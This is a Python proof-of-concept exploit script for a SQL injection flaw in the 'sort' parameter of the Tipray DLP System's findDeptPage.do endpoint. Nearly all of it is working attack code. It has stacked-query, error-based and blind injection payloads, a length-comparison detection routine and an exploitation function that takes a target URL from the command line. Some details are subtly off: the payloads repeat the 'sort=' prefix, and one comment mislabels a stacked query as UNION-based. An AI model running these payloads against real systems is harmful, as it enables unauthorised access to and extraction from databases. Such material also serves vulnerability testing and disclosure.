# CVE-2025-11309 - Tipray Data Leakage Prevention System SQL Injection PoC
# Vulnerability: SQL Injection in findDeptPage.do via 'sort' parameter
# Affected: Tipray DLP System 1.0
import requests
import sys
TARGET_URL = "http://target-host:8080"
VULNERABLE_ENDPOINT = "/findDeptPage.do"
# SQL Injection payload targeting the 'sort' parameter
# Using UNION-based injection to extract database information
PAYLOAD = "sort=id DESC;SELECT/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50--"
# Alternative payload for error-based detection
ERROR_BASED_PAYLOAD = "sort=id AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT database()),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.tables GROUP BY x)a)--"
# Boolean-based blind injection payload
BLIND_PAYLOAD = "sort=id AND 1=1--"
def exploit_sql_injection(target_url, endpoint, param, payload):
"""Send SQL injection payload to the vulnerable endpoint"""
url = target_url + endpoint
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"Content-Type": "application/x-www-form-urlencoded",
"Accept": "*/*"
}
data = {param: payload}
try:
response = requests.post(url, headers=headers, data=data, timeout=10)
print(f"[+] Status Code: {response.status_code}")
print(f"[+] Response Length: {len(response.text)}")
print(f"[+] Response Body:\n{response.text[:2000]}")
return response
except requests.exceptions.RequestException as e:
print(f"[-] Error: {e}")
return None
def detect_injection(target_url, endpoint):
"""Detect if the target is vulnerable to SQL injection"""
url = target_url + endpoint
# Normal request
normal_resp = requests.post(url, data={"sort": "id"}, timeout=10)
normal_len = len(normal_resp.text)
# Injection test
test_resp = requests.post(url, data={"sort": "id AND 1=1--"}, timeout=10)
test_len = len(test_resp.text)
if normal_len != test_len:
print("[+] Target appears to be vulnerable to SQL injection!")
return True
else:
print("[-] Target may not be vulnerable.")
return False
if __name__ == "__main__":
if len(sys.argv) > 1:
TARGET_URL = sys.argv[1]
print(f"[*] Target: {TARGET_URL}")
print(f"[*] Endpoint: {VULNERABLE_ENDPOINT}")
print("[*] Testing for SQL injection vulnerability...")
if detect_injection(TARGET_URL, VULNERABLE_ENDPOINT):
print("[*] Attempting exploitation...")
exploit_sql_injection(TARGET_URL, VULNERABLE_ENDPOINT, "sort", ERROR_BASED_PAYLOAD)